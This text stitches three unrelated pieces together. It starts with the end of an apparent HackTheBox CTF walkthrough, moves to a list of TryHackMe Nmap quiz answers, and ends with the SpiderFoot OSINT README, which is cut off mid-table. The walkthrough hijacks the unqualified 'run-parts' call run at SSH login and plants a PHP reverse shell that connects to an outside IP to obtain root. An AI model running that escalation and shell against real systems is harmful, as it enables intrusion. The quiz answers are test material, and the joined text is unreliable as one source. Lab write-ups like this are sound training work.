`pspy` to view running processes in real-time. ```none wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64 ``` Then set up a Python HTTP server and fetched the file. I initially saved it to `/dev/shm` and tried to execute it, and got a permission denied error. This stumped me for a little. Turns out, the `/dev/shm` folder was mounted with the `noexec` flag. ```none jkr@writeup:/dev/shm$ chmod +x pspy64 jkr@writeup:/dev/shm$ ./pspy64 -bash: ./pspy64: Permission denied jkr@writeup:/dev/shm$ mount | grep shm tmpfs on /run/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=413360k) ``` So I switched to the `/tmp` directory instead and ran `pspy`. Started looking for anything that was running without a full path to the executable. Noticed a cron job that runs every minute, but it has the full path. ```none 2021/08/03 16:50:01 CMD: UID=0 PID=19541 | /usr/sbin/CRON 2021/08/03 16:50:01 CMD: UID=0 PID=19542 | /usr/sbin/CRON 2021/08/03 16:50:01 CMD: UID=0 PID=19543 | /bin/sh -c /root/bin/cleanup.pl >/dev/null 2>&1 2021/08/03 16:51:01 CMD: UID=0 PID=19545 | /usr/sbin/CRON 2021/08/03 16:51:01 CMD: UID=0 PID=19546 | /usr/sbin/CRON 2021/08/03 16:51:01 CMD: UID=0 PID=19547 | /bin/sh -c /root/bin/cleanup.pl >/dev/null 2>&1 ``` Waited a while and poked around a bit, but couldn't find anything interesting. Logged in to another SSH session, and noticed that a few processes are run when logging in. ```none 2021/08/03 16:49:07 CMD: UID=0 PID=19531 | sshd: jkr [priv] 2021/08/03 16:49:07 CMD: UID=0 PID=19532 | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new 2021/08/03 16:49:07 CMD: UID=0 PID=19533 | run-parts --lsbsysinit /etc/update-motd.d 2021/08/03 16:49:07 CMD: UID=0 PID=19534 | uname -rnsom 2021/08/03 16:49:07 CMD: UID=0 PID=19535 | sshd: jkr [priv] 2021/08/03 16:49:08 CMD: UID=1000 PID=19536 | sshd: jkr@pts/1 ``` This is good! The `run-parts` executable is being called without the full path. We should be able to create another `run-parts` file in `/usr/local/bin` with our code and execute it by SSHing into the machine. Started with a PoC to create a file in `/tmp` to see if this worked. ```none jkr@writeup:~$ echo -e '#!/bin/bash\n\ntouch /tmp/meow' > /usr/local/bin/run-parts jkr@writeup:~$ cat /usr/local/bin/run-parts #!/bin/bash touch /tmp/meow jkr@writeup:~$ chmod +x /usr/local/bin/run-parts ``` The PoC just creates the `/tmp/meow` file. After SSHing in, we can see the file created with the `root` user as the owner. Make sure to set the file executable! This tripped me up, and had no idea why it wasn't running! ```none jkr@writeup:~$ ls -lisa /tmp | grep meow 13205 0 -rw-r--r-- 1 root root 0 Aug 3 17:27 meow ``` Now we know the process works, we can get a shell as `root`. There are many ways to achieve this, but I decided to get a reverse shell as the root user using a PHP reverse shell. ```none jkr@writeup:~$ echo $'php -r \'$sock=fsockopen("10.10.14.127",9001);exec("/bin/sh -i <&3 >&3 2>&3");\'' > /usr/local/bin/run-parts jkr@writeup:~$ chmod +x /usr/local/bin/run-parts ``` Did the same method of creating a `run-parts` file, and making it executable, and started a netcat listener on port 9001. Then logged in as the `jkr` user over SSH and got the reverse shell back to my system. ```none └─$ nc -lvnp 9001 listening on [any] 9001 ... connect to [10.10.14.127] from (UNKNOWN) [10.10.10.138] 36006 /bin/sh: 0: can't access tty; job control turned off # id uid=0(root) gid=0(root) groups=0(root) # wc -c /root/root.txt 33 /root/root.txt ``` One thing I noted here - the reverse shell hangs the login process, so might not be useful in specific scenarios. After watching the video by ippsec, he created an SSH key and add the public key to `root`s authorised key files - a nice idea. ## Post Exploitation This box was a little strange as I avoided lots of tools and techniques that might have triggered DoS protection. After finishing the box, I had a poke around to see what protection they had enabled. Long story short - it was `fail2ban` and was configured for SSH and HTTP. The contents of the `fail2ban` configuration file are below. The max retries for HTTP 404's were 30, with a ban time of 120. ```none jkr@writeup:/etc/fail2ban$ cat jail.local [INCLUDES] before = paths-debian.conf [DEFAULT] ignoreip = 127.0.0.1/8 bantime = 120 maxretry = 10 [sshd] enabled = true [apache-404] enabled = true port = http filter = apache-404 logpath = /var/log/apache2/access.log tail maxretry = 30 ``` ## Lessons Learned - Manual enumeration is useful... and sometimes the only option when the target has DoS or attack protection. - Keep expanding the toolset. This was my first time using `pspy`, and should be added to my go-to list of useful tools. - Keep updating and refining my methodology. This machine was interesting and got me thinking in different ways. ## Useful Resources - [HackTheBox - Writeup by ippsec](https://www.youtube.com/watch?v=GKq4cwBfH24) - [HTB: Writeup by 0xdf](https://0xdf.gitlab.io/2019/10/12/htb-writeup.html)
# Nmap | https://tryhackme.com/room/rpnmap ### [Task 2] Nmap Quiz #1 First, how do you access the help menu? : `-h` #2 Often referred to as a stealth scan, what is the first switch listed for a 'Syn Scan'? : `-sS` #3 Not quite as useful but how about a 'UDP Scan'? : `-sU` #4 What about operating system detection? : `-O` #5 How about service version detection? : `-sV` #6 Most people like to see some output to know that their scan is actually doing things, what is the verbosity flag? : `-v` #7 What about 'very verbose'? (A personal favorite) : `-vv` #8 Sometimes saving output in a common document format can be really handy for reporting, how do we save output in xml format? : `-oX` #9 Aggressive scans can be nice when other scans just aren't getting the output that you want and you really don't care how 'loud' you are, what is the switch for enabling this? : `-A` #10 How do I set the timing to the max level, sometimes called 'Insane'? : `-T5` #11 What about if I want to scan a specific port? : `-p` #12 How about if I want to scan every port? : `-p-` #13 What if I want to enable using a script from the nmap scripting engine? For this, just include the first part of the switch without the specification of what script to run. : `--script` #14 What if I want to run all scripts out of the vulnerability category? : `--script vuln` #15 What switch should I include if I don't want to ping the host? : `-Pn` ### [Task 3] Nmap Scanning #1 Let's go ahead and start with the basics and perform a syn scan on the box provided. What will this command be without the host IP address? : `nmap -sS` #2 After scanning this, how many ports do we find open under 1000? : `2` #3 What communication protocol is given for these ports following the port number? : `tcp` #4 Perform a service version detection scan, what is the version of the software running on port 22? : `6.6.1p1` #5 Perform an aggressive scan, what flag isn't set under the results for port 80? : `httponly` #6 Perform a script scan of vulnerabilities associated with this box, what denial of service (DOS) attack is this box susceptible to? Answer with the name for the vulnerability that is given as the section title in the scan output. A vuln scan can take a while to complete. In case you get stuck, the answer for this question has been provided in the hint, however, it's good to still run this scan and get used to using it as it can be invaluable. : `http-slowloris-check`
<a href="https://www.spiderfoot.net/r.php?u=aHR0cHM6Ly93d3cuc3BpZGVyZm9vdC5uZXQv&s=os_gh"><img src="https://www.spiderfoot.net/wp-content/themes/spiderfoot/img/spiderfoot-wide.png"></a> [![License](https://img.shields.io/badge/license-MIT-blue.svg)](https://raw.githubusercontent.com/smicallef/spiderfoot/master/LICENSE) [![Python Version](https://img.shields.io/badge/python-3.7+-green)](https://www.python.org) [![Stable Release](https://img.shields.io/badge/version-4.0-blue.svg)](https://github.com/smicallef/spiderfoot/releases/tag/v4.0) [![CI status](https://github.com/smicallef/spiderfoot/workflows/Tests/badge.svg)](https://github.com/smicallef/spiderfoot/actions?query=workflow%3A"Tests") [![Last Commit](https://img.shields.io/github/last-commit/smicallef/spiderfoot)](https://github.com/smicallef/spiderfoot/commits/master) [![Codecov](https://codecov.io/github/smicallef/spiderfoot/coverage.svg)](https://codecov.io/github/smicallef/spiderfoot) [![Twitter Follow](https://img.shields.io/twitter/follow/spiderfoot?label=follow&style=social)](https://twitter.com/spiderfoot) [![Discord](https://img.shields.io/discord/770524432464216074)](https://discord.gg/vyvztrG) **SpiderFoot** is an open source intelligence (OSINT) automation tool. It integrates with just about every data source available and utilises a range of methods for data analysis, making that data easy to navigate. SpiderFoot has an embedded web-server for providing a clean and intuitive web-based interface but can also be used completely via the command-line. It's written in **Python 3** and **MIT-licensed**. <img src="https://www.spiderfoot.net/wp-content/uploads/2022/04/opensource-screenshot-v4.png" /> ### FEATURES - Web based UI or CLI - Over 200 modules (see below) - Python 3.7+ - YAML-configurable [correlation engine](/correlations/README.md) with [37 pre-defined rules](/correlations) - CSV/JSON/GEXF export - API key export/import - SQLite back-end for custom querying - Highly configurable - Fully documented - Visualisations - TOR integration for dark web searching - Dockerfile for Docker-based deployments - Can call other tools like DNSTwist, Whatweb, Nmap and CMSeeK - [Actively developed since 2012!](https://medium.com/@micallst/lessons-learned-from-my-10-year-open-source-project-4a4c8c2b4f64) ### WANT MORE? Need more from SpiderFoot? Check out [SpiderFoot HX](https://www.spiderfoot.net/hx) for: - 100% Cloud-based and managed for you - Attack Surface Monitoring with change notifications by email, REST and Slack - Multiple targets per scan - Multi-user collaboration - Authenticated and 2FA - Investigations - Customer support - Third party tools pre-installed & configured - Drive it with a fully RESTful API - TOR integration built-in - Screenshotting - Bring your own Python SpiderFoot modules - Feed scan data to Splunk, ElasticSearch and REST endpoints See the full set of differences between SpiderFoot HX and the open source version [here](https://www.spiderfoot.net/open-source-vs-hx/). ### USES SpiderFoot can be used offensively (e.g. in a red team exercise or penetration test) for reconnaissance of your target or defensively to gather information about what you or your organisation might have exposed over the Internet. You can target the following entities in a SpiderFoot scan: - IP address - Domain/sub-domain name - Hostname - Network subnet (CIDR) - ASN - E-mail address - Phone number - Username - Person's name - Bitcoin address SpiderFoot's 200+ modules feed each other in a publisher/subscriber model to ensure maximum data extraction to do things like: - [Host/sub-domain/TLD enumeration/extraction](https://asciinema.org/a/295912) - [Email address, phone number and human name extraction](https://asciinema.org/a/295947) - [Bitcoin and Ethereum address extraction](https://asciinema.org/a/295957) - [Check for susceptibility to sub-domain hijacking](https://asciinema.org/a/344377) - DNS zone transfers - [Threat intelligence and Blacklist queries](https://asciinema.org/a/295949) - API integration with [SHODAN](https://asciinema.org/a/127601), [HaveIBeenPwned](https://asciinema.org/a/128731), [GreyNoise](https://asciinema.org/a/295943), AlienVault, SecurityTrails, etc. - [Social media account enumeration](https://asciinema.org/a/295923) - [S3/Azure/Digitalocean bucket enumeration/scraping](https://asciinema.org/a/295941) - IP geo-location - Web scraping, web content analysis - [Image, document and binary file meta data analysis](https://asciinema.org/a/296274) - Dark web searches - [Port scanning and banner grabbing](https://asciinema.org/a/295939) - [Data breach searches](https://asciinema.org/a/296145) - So much more... ### INSTALLING & RUNNING To install and run SpiderFoot, you need at least Python 3.7 and a number of Python libraries which you can install with `pip`. We recommend you install a packaged release since master will often have bleeding edge features and modules that aren't fully tested. #### Stable build (packaged release): ``` wget https://github.com/smicallef/spiderfoot/archive/v4.0.tar.gz tar zxvf v4.0.tar.gz cd spiderfoot-4.0 pip3 install -r requirements.txt python3 ./sf.py -l 127.0.0.1:5001 ``` #### Development build (cloning git master branch): ``` git clone https://github.com/smicallef/spiderfoot.git cd spiderfoot pip3 install -r requirements.txt python3 ./sf.py -l 127.0.0.1:5001 ``` Check out the [documentation](https://www.spiderfoot.net/documentation) and our [asciinema videos](https://asciinema.org/~spiderfoot) for more tutorials. ### COMMUNITY Whether you're a contributor, user or just curious about SpiderFoot and OSINT in general, we'd love to have you join our community! SpiderFoot now has a [Discord server](https://discord.gg/vyvztrG) for seeking help from the community, requesting features or just general OSINT chit-chat. ### WRITING CORRELATION RULES We have a comprehensive write-up and reference of the correlation rule-set introduced in SpiderFoot 4.0 [here](/correlations/README.md). Also take a look at the [template.yaml](/correlations/template.yaml) file for a walk through. The existing [37 rules](/correlations) are also quite readable and good as starting points for additional rules. ### MODULES / INTEGRATIONS SpiderFoot has over 200 modules, most of which *don't require API keys*, and many of those that do require API keys *have a free tier*. | Name | Description | Type | |:---------| :-----------|:-------| [AbstractAPI](https://app.abstractapi.com/)|Look up domain, phone and IP address information from AbstractAPI.|Tiered API [abuse.ch](https://www.abuse.ch)|Check if a host/domain, IP address or netblock is malicious according to Abuse.ch.|Free API [AbuseIPDB](https://www.abuseipdb.com)|Check if an IP address is malicious according to AbuseIPDB.com blacklist.|Tiered API [Abusix Mail Intelligence](https://abusix.org/)|Check if a netblock or IP address is in the Abusix Mail Intelligence blacklist.|Tiered API Account Finder|Look for possible associated accounts on over 500 social and other websites such as Instagram, Reddit, etc.|Internal [AdBlock Check](https://adblockplus.org/)|Check if linked pages would be blocked by AdBlock Plus.|Tiered API [AdGuard DNS](https://adguard.com/)|Check if a host would be blocked by AdGuard DNS.|Free API [Ahmia](https://ahmia.fi/)|Search Tor 'Ahmia' search engine for mentions of the target.|Free API [AlienVault IP Reputation](https://cybersecurity.att.com/)|Check if an IP or netblock is malicious according to the AlienVault IP Reputation database.|Free API [AlienVault OTX](https://otx.alienvault.com/)|Obtain information from AlienVault Open Threat Exchange (OTX)|Tiered API [Amazon S3 Bucket Finder](https://aws.amazon.com/s3/)|Search for potential Amazon S3 buckets associated with the target and attempt to list their contents.|Free API [Apple iTunes](https://itunes.apple.com/)|Search Apple iTunes for mobile apps.|Free API [Archive.org](https://archive.org/)|Identifies historic versions of interesting files/pages from the Wayback Machine.|Free API [ARIN](https://www.arin.net/)|Queries ARIN registry for contact information.|Free API [Azure Blob Finder](https://azure.microsoft.com/en-in/services/storage/blobs/)|Search for potential Azure blobs associated with the target and attempt to list their contents.|Free API Base64 Decoder|Identify Base64-encoded strings in URLs, often revealing interesting hidden information.|Internal [BGPView](https://bgpview.io/)|Obtain network information from BGPView API.|Free API Binary String Extractor|Attempt to identify strings in binary content.|Internal [BinaryEdge](https://www.binaryedge.io/)|Obtain information from BinaryEdge.io Internet scanning systems, including breaches, vulnerabilities, torrents and passive DNS.|Tiered API [Bing (Shared IPs)](https://www.bing.com/)|Search Bing for hosts sharing the same IP.|Tiered API [Bing](https://www.bing.com/)|Obtain information from bing to identify sub-domains and links.|Tiered API Bitcoin Finder|Identify bitcoin addresses in scraped webpages.|Internal [Bitcoin Who's Who](https://bitcoinwhoswho.com/)|Check for Bitcoin addresses against the Bitcoin Who's Who database of suspect/malicious addresses.|Tiered API [BitcoinAbuse](https://www.bitcoinabuse.com/)|Check Bitcoin addresses against the bitcoinabuse.com database of suspect/malicious addresses.|Free API [Blockchain](https://www.blockchain.com/)|Queries blockchain.info to find the balance of identified bitcoin wallet addresses.|Free API [blocklist.de](http://www.blocklist.de/en/index.html)|Check if a netblock or IP is malicious according to blocklist.de.|Free API [BotScout](https://botscout.com/)|Searches BotScout.com's database of spam-bot IP addresses and e-mail addresses.|Tiered API [botvrij.eu](https://botvrij.eu/)|Check if a domain is malicious according to botvrij.eu.|Free API [BuiltWith](https://builtwith.com/)|Query BuiltWith.com's Domain API for information about your target's web technology stack, e-mail addresses and more.|Tiered API [C99](https://api.c99.nl/)|Queries the C99 API which offers various data (geo location, proxy detection, phone lookup, etc).|Commercial API [CallerName](http://callername.com/)|Lookup US phone number location and reputation information.|Free API [Censys](https://censys.io/)|Obtain host information from Censys.io.|Tiered API [Certificate Transparency](https://crt.sh/)|Gather hostnames from historical certificates in crt.sh.|Free API [CertSpotter](https://sslmate.com/certspotter/)|Gather information about SSL certificates from SSLMate CertSpotter API.|Tiered API [CINS Army List](https://cinsscore.com/)|Check if a netblock or IP address is malicious according to Collective Intelligence Network Security (CINS) Army list.|Free API [CIRCL.LU](https://www.circl.lu/)|Obtain information from CIRCL.LU's Passive DNS and Passive SSL databases.|Free API [CleanBrowsing.org](https://cleanbrowsing.org/)|Check if a host would be blocked by CleanBrowsing.org DNS content filters.|Free API [CleanTalk Spam List](https://cleantalk.org)|Check if a netblock or IP address is on CleanTalk.org's spam IP list.|Free API [Clearbit](https://clearbit.com/)|Check for names, addresses, domains and more based on lookups of e-mail addresses on clearbit.com.|Tiered API [CloudFlare DNS](https://www.cloudflare.com/)|Check if a host would be blocked by CloudFlare DNS.|Free API [CoinBlocker Lists](https://zerodot1.gitlab.io/CoinBlockerListsWeb/)|Check if a domain appears on CoinBlocker lists.|Free API [CommonCrawl](http://commoncrawl.org/)|Searches for URLs found through CommonCrawl.org.|Free API [Comodo Secure DNS](https://www.comodo.com/secure-dns/)|Check if a host would be blocked by Comodo Secure DNS.|Tiered API Company Name Extractor|Identify company names in any obtained data.|Internal Cookie Extractor|Extract Cookies from HTTP headers.|Internal Country Name Extractor|Identify country names in any obtained data.|Internal Credit Card Number Extractor|Identify Credit Card Numbers in any data|Internal [Crobat API](https://sonar.omnisint.io/)|Search Crobat API for subdomains.|Free API Cross-Referencer|Identify whether other domains are associated ('Affiliates') of the target by looking for links back to the target site(s).|Internal [CRXcavator](https://crxcavator.io/)|Search CRXcavator for Chrome extensions.|Free API Custom Threat Feed|Check if a host/domain, netblock, ASN or IP is malicious according to your custom feed.|Internal [CyberCrime-Tracker.net](https://cybercrime-tracker.net/)|Check if a host/domain or IP address is malicious according to CyberCrime-Tracker.net.|Free API [Debounce](https://debounce.io/)|Check whether an email is disposable|Free API [Dehashed](https://www.dehashed.com/)|Gather breach data from Dehashed API.|Commercial API [Digital Ocean Space Finder](https://www.digitalocean.com/products/spaces/)|Search for potential Digital Ocean Spaces associated with the target and attempt to list their contents.|Free API DNS Brute-forcer|Attempts to identify hostnames through brute-forcing common names and iterations.|Internal DNS Common SRV|Attempts to identify hostnames through brute-forcing common DNS SRV records.|Internal [DNS for Family](https://dnsforfamily.com/)|Check if a host would be blocked by DNS for Family.|Free API DNS Look-aside|Attempt to reverse-resolve the IP addresses next to your target to see if they are related.|Internal DNS Raw Records|Retrieves raw DNS records such as MX, TXT and others.|Internal DNS Resolver|Resolves hosts and IP addresses identified, also extracted from raw content.|Internal DNS Zone Transfer|Attempts to perform a full DNS zone transfer.|Internal [DNSDB](https://www.farsightsecurity.com)|Query FarSight's DNSDB for historical and passive DNS data.|Tiered API [DNSDumpster](https://dnsdumpster.com/)|Passive subdomain enumeration using HackerTarget's DNSDumpster|Free API [DNSGrep](https://opendata.rapid7.com/)|Obtain Passive DNS information from Rapid7 Sonar Project using DNSGrep API.|Free API [DroneBL](https://dronebl.org/)|Query the DroneBL database for open relays, open proxies, vulnerable servers, etc.|Free API [DuckDuckGo](https://duckduckgo.com/)|Query DuckDuckGo's API for descriptive information about your target.|Free API E-Mail Address Extractor|Identify e-mail addresses in any obtained data.|Internal [EmailCrawlr](https://emailcrawlr.com/)|Search EmailCrawlr for email addresses and phone numbers associated with a domain.|Tiered API [EmailFormat](https://www.email-format.com/)|Look up e-mail addresses on email-format.com.|Free API [EmailRep](https://emailrep.io/)|Search EmailRep.io for email address reputation.|Tiered API [Emerging Threats](https://rules.emergingthreats.net/)|Check if a netblock or IP address is malicious according to EmergingThreats.net.|Free API Error String Extractor|Identify common error messages in content like SQL errors, etc.|Internal Ethereum Address Extractor|Identify ethereum addresses in scraped webpages.|Internal [Etherscan](https://etherscan.io)|Queries etherscan.io to find the balance of identified ethereum wallet addresses.|Free API File Metadata Extractor|Extracts meta data from documents and images.|Internal [Flickr](https://www.flickr.com/)|Search Flickr for domains, URLs and emails related to the specified domain.|Free API [Focsec](https://focsec.com/)|Look up IP address information from Focsec.|Tiered API [FortiGuard Antispam](https://www.fortiguard.com/)|Check if an IP address is malicious according to FortiGuard Antispam.|Free API [Fraudguard](https://fraudguard.io/)|Obtain threat information from Fraudguard.io|Tiered API [F-Secure Riddler.io](https://riddler.io/)|Obtain network information from F-Secure Riddler.io API.|Commercial API [FullContact](https://www.fullcontact.com)|Gather domain and e-mail information from FullContact.com API.|Tiered API [FullHunt](https://fullhunt.io/)|Identify domain attack surface using FullHunt API.|Tiered API [Github](https://github.com/)|Identify associated public code repositories on Github.|Free API [GLEIF](https://search.gleif.org/)|Look up company information from Global Legal Entity Identifier Foundation (GLEIF).|Tiered API [Google Maps](https://cloud.google.com/maps-platform/)|Identifies potential physical addresses and latitude/longitude coordinates.|Tiered API [Google Object Storage Finder](https://cloud.google.com/storage)|Search for potential Google Object Storage buckets associated with the target and attempt to list their contents.|Free API [Google SafeBrowsing](https://developers.google.com/safe-browsing/v4/lookup-api)|Check if the URL is included on any of the Safe Browsing lists.|Free API [Google](https://developers.google.com/custom-search)|Obtain information from the Google Custom Search API to identify sub-domains and links.|Tiered API [Gravatar](https://secure.gravatar.com/)|Retrieve user information from Gravatar API.|Free API [Grayhat Warfare](https://buckets.grayhatwarfare.com/)|Find bucket names matching the keyword extracted from a domain from Grayhat API.|Tiered API [Greensnow](https://greensnow.co/)|Check if a netblock or IP address is malicious according to greensnow.co.|Free API [grep.app](https://grep.app/)|Search grep.app API for links and emails related to the specified domain.|Free API [GreyNoise Community](https://greynoise.io/)|Obtain IP enrichment data from GreyNoise Community API|Tiered API [GreyNoise](https://greynoise.io/)|Obtain IP enrichment data from GreyNoise|Tiered API [HackerOne (Unofficial)](http://www.nobbd.de/)|Check external vulnerability scanning/reporting service h1.nobbd.de to see if the target is listed.|Free API [HackerTarget](https://hackertarget.com/)|Search HackerTarget.com for hosts sharing the same IP.|Free API Hash Extractor|Identify MD5 and SHA hashes in web content, files and more.|Internal [HaveIBeenPwned](https://haveibeenpwned.com/)|Check HaveIBeenPwned.com for hacked e-mail addresses identified in breaches.|Commercial API Hosting Provider Identifier|Find out if any IP addresses identified fall within known 3rd party hosting ranges, e.g. Amazon, Azure, etc.|Internal [Host.io](https://host.io)|Obtain information about domain names from host.io.|Tiered API Human Name Extractor|Attempt to identify human names in fetched content.|Internal [Hunter.io](https://hunter.io/)|Check for e-mail addresses and names on hunter.io.|Tiered API [Hybrid Analysis](https://www.hybrid-analysis.com)|Search Hybrid Analysis for domains and URLs related to the target.|Free API IBAN Number Extractor|Identify International Bank Account Numbers (IBANs) in any data.|Internal [Iknowwhatyoudownload.com](https://iknowwhatyoudownload.com/en/peer/)|Check iknowwhatyoudownload.com for IP addresses that have been using torrents.|Tiered API [IntelligenceX](https://intelx.io/)|Obtain information from IntelligenceX about identified IP addresses, domains, e-mail addresses and phone numbers.|Tiered API Interesting File Finder|Identifies potential files of interest, e.g. office documents, zip files.|Internal [Internet Storm Center](https://isc.sans.edu)|Check if an IP address is malicious according to SANS ISC.|Free API [ipapi.co](https://ipapi.co/)|Queries ipapi.co to identify geolocation of IP Addresses using ipapi.co API|Tiered API [ipapi.com](https://ipapi.com/)|Queries ipapi.com to identify geolocation of IP Addresses using ipapi.com API|Tiered API [IPInfo.io](https://ipinfo.io)|Identifies the physical location of IP addresses identified using ipinfo.io.|Tiered API [IPQualityScore](https://www.ipqualityscore.com/)|Determine if target is malicious using IPQualityScore API|Tiered API [ipregistry](https://ipregistry.co/)|Query the ipregistry.co database for reputation and geo-location.|Tiered API [ipstack](https://ipstack.com/)|Identifies the physical location of IP addresses identified using ipstack.com.|Tiered API [JsonWHOIS.com](https://jsonwhois.com)|Search JsonWHOIS.com for WHOIS records associated with a domain.|Tiered API Junk File Finder|Looks for old/temporary and other similar files.|Internal [Keybase](https://keybase.io/)|Obtain additional information about domain names and identified usernames.|Free API [Koodous](https://koodous.com/apks/)|Search Koodous for mobile apps.|Tiered API [LeakIX](https://leakix.net/)|Search LeakIX for host data leaks, open ports, software and geoip.|Free API [Leak-Lookup](https://leak-lookup.com/)|Searches Leak-Lookup.com's database of breaches.|Free API [Maltiverse](https://maltiverse.com)|Obtain information about any malicious activities involving IP addresses|Free API [MalwarePatrol](https://www.malwarepatrol.net/)|Searches malwarepatrol.net's database of malicious URLs/IPs.|Tiered API [MetaDefender](https://metadefender.opswat.com/)|Search MetaDefender API for IP address and domain IP reputation.|Tiered API [Mnemonic PassiveDNS](https://www.mnemonic.no)|Obtain Passive DNS information from PassiveDNS.mnemonic.no.|Free API [multiproxy.org Open Proxies](https://multiproxy.org/)|Check if an IP address is an open proxy according to multiproxy.org open proxy list.|Free API [MySpace](https://myspace.com/)|Gather username and location from MySpace.com profiles.|Free API [NameAPI](https://www.nameapi.org/)|Check whether an email is disposable|Tiered API [NetworksDB](https://networksdb.io/)|Search NetworksDB.io API for IP address and domain information.|Tiered API [NeutrinoAPI](https://www.neutrinoapi.com/)|Search NeutrinoAPI for phone location information, IP address information, and host reputation.|Tiered API [numverify](http://numverify.com/)|Lookup phone number location and carrier information from numverify.com.|Tiered API [Onion.link](https://onion.link/)|Search Tor 'Onion City' search engine for mentions of the target domain using Google Custom Search.|Free API [Onionsearchengine.com](https://as.onionsearchengine.com)|Search Tor onionsearchengine.com for mentions of the target domain.|Free API [Onyphe](https://www.onyphe.io)|Check Onyphe data (threat list, geo-location, pastries, vulnerabilities) about a given IP.|Tiered API [Open Bug Bounty](https://www.openbugbounty.org/)|Check external vulnerability scanning/reporting service openbugbounty.org to see if the target is listed.|Free API [OpenCorporates](https://opencorporates.com)|Look up company information from OpenCorporates.|Tiered API [OpenDNS](https://www.opendns.com/)|Check if a host would be blocked by OpenDNS.|Free API [OpenNIC DNS](https://www.opennic.org/)|Resolves host names in the OpenNIC alternative DNS system.|Free API [OpenPhish](https://openphish.com/)|Check if a host/domain is malicious according to OpenPhish.com.|Free API [OpenStreetMap](https://www.openstreetmap.org/)|Retrieves latitude/longitude coordinates for physical addresses from OpenStreetMap API.|Free API Page Information|Obtain information about web pages (do they take passwords, do they contain forms, etc.)|Internal [PasteBin](https://pastebin.com/)|PasteBin search (via Google Search API) to identify related content.|Tiered API PGP Key Servers|Look up domains and e-mail addresses in PGP public key servers.|Internal [PhishStats](https://phishstats.info/)|Check if a netblock or IP address is malicious according to PhishStats.|Free API [PhishTank](https://phishtank.com/)|Check if a host/domain is malicious according to PhishTank.|Free API Phone Number Extractor|Identify phone numbers in scraped webpages.|Internal Port Scanner - TCP|Scans for commonly open TCP ports on Internet-facing systems.|Internal [Project Honey Pot](https://www.projecthoneypot.org/)|Query the Project Honey Pot database for IP addresses.|Free API [ProjectDiscovery Chaos](https://chaos.projectdiscovery.io)|Search for hosts/subdomains using chaos.projectdiscovery.io|Commercial API [Psbdmp](https://psbdmp.cc/)|Check psbdmp.cc (PasteBin Dump) for potentially hacked e-mails and domains.|Free API [Pulsedive](https://pulsedive.com/)|Obtain information from Pulsedive's API.|Tiered API [PunkSpider](https://punkspider.io/)|Check the QOMPLX punkspider.io service to see if the target is listed as vulnerable.|Free API [Quad9](https://quad9.net/)|Check if a host would be blocked by Quad9 DNS.|Free API [ReverseWhois](https://www.reversewhois.io/)|Reverse Whois lookups using reversewhois.io.|Free API [RIPE](https://www.ripe.net/)|Queries the RIPE registry (includes ARIN data) to identify netblocks and other info.|Free API [RiskIQ](https://community.riskiq.com/)|Obtain information from RiskIQ's (formerly PassiveTotal) Passive DNS and Passive SSL databases.|Tiered API [Robtex](https://www.robtex.com/)|Search Robtex.com for hosts sharing the same IP.|Free API [searchcode](https://searchcode.com/)|Search searchcode for code repositories mentioning the target domain.|Free API [SecurityTrails](https://securitytrails.com/)|Obtain Passive DNS and other information from SecurityTrails|Tiered API [Seon](https://seon.io/)|Queries seon.io to gather intelligence about IP Addresses, email addresses, and phone numbers|Commercial API [SHODAN](https://www.shodan.io/)|Obtain information from SHODAN about identified IP addresses.|Tiered API Similar Domain Finder|Search various sources to identify similar looking domain names, for instance squatted domains.|Internal [Skymem](http://www.skymem.info/)|Look up e-mail addresses on Skymem.|Free API [SlideShare](https://www.slideshare.net)|Gather name and location from SlideShare profiles.|Free API [Snov](https://snov.io/)|Gather available email IDs from identified domains|Tiered API [Social Links](https://sociallinks.io/)|Queries SocialLinks.io to gather intelligence from social media platforms and dark web.|Commercial API [Social Media Profile Finder](https://developers.google.com/custom-search)|Tries to discover the social media profiles for human names identified.|Tiered API Social Network Identifier|Identify presence on social media networks such as LinkedIn, Twitter and others.|Internal [SORBS](http://www.sorbs.net/)|Query the SORBS database for open relays, open proxies, vulnerable servers, etc.|Free API [SpamCop](https://www.spamcop.net/)|Check if a netblock or IP address is in the SpamCop database.|Free API [Spamhaus Zen](https://www.spamhaus.org/)|Check if a netblock or IP address is in the Spamhaus Zen database.|Free API [spur.us](https://spur.us/)|Obtain information about any malicious activities involving IP addresses found|Commercial API [SpyOnWeb](http://spyonweb.com/)|Search SpyOnWeb for hosts sharing the same IP address, Google Analytics code, or Google Adsense code.|Tiered API SSL Certificate Analyzer|Gather information about SSL certificates used by the target's HTTPS sites.|Internal [StackOverflow](https://www.stackexchange.com)|Search StackOverflow for any mentions of a target domain. Returns potentially related information.|Tiered API [Steven Black Hosts](https://github.com/StevenBlack/hosts)|Check if a domain is malicious (malware or adware) according to Steven Black Hosts list.|Free API Strange Header Identifier|Obtain non-standard HTTP headers returned by web servers.|Internal Subdomain Takeover Checker|Check if affiliated subdomains are vulnerable to takeover.|Internal [Sublist3r PassiveDNS](https://api.sublist3r.com)|Passive subdomain enumeration using Sublist3r's API|Free API [SURBL](http://www.surbl.org/)|Check if a netblock, IP address or domain is in the SURBL blacklist.|Free API [Talos Intelligence](https://talosintelligence.com/)|Check if a netblock or IP address is malicious according to TalosIntelligence.|Free API [TextMagic](https://www.textmagic.com/)|Obtain phone number type from TextMagic API|Tiered API [Threat Jammer](https://threatjammer.com)|Check if an IP address is malicious according to ThreatJammer.com|Tiered API [ThreatCrowd](https://www.threatcrowd.org)|Obtain information from ThreatCrowd about identified IP addresses, domains and e-mail addresses.|Free API [ThreatFox](https://threatfox.abuse.ch)|Check if an IP address is malicious according to ThreatFox.|Free API [ThreatMiner](https://www.threatminer.org/)|Obtain information from ThreatMiner's database for passive DNS and threat intelligence.|Free API TLD Searcher|Search all Internet TLDs for domains with the same name as the target (this can be very slow.)|Internal [Tool - CMSeeK]([https://github.com/Tuhinshubhra/CMSeeK](https://github.com/Tuhinshubhra/CMSeeK))|Identify what Content Management System (CMS) might be used.|Tool [Tool - DNSTwist]([https://github.com/elceef/dnstwist](https://github.com/elceef/dnstwist))|Identify bit-squatting, typo and other similar domains to the target using a local DNSTwist installation.|Tool [Tool - nbtscan]([http://www.unixwiz.net/tools/nbtscan.html](http://www.unixwiz.net/tools/nbtscan.html))|Scans for open NETBIOS nameservers on your target's network.|Tool [Tool - 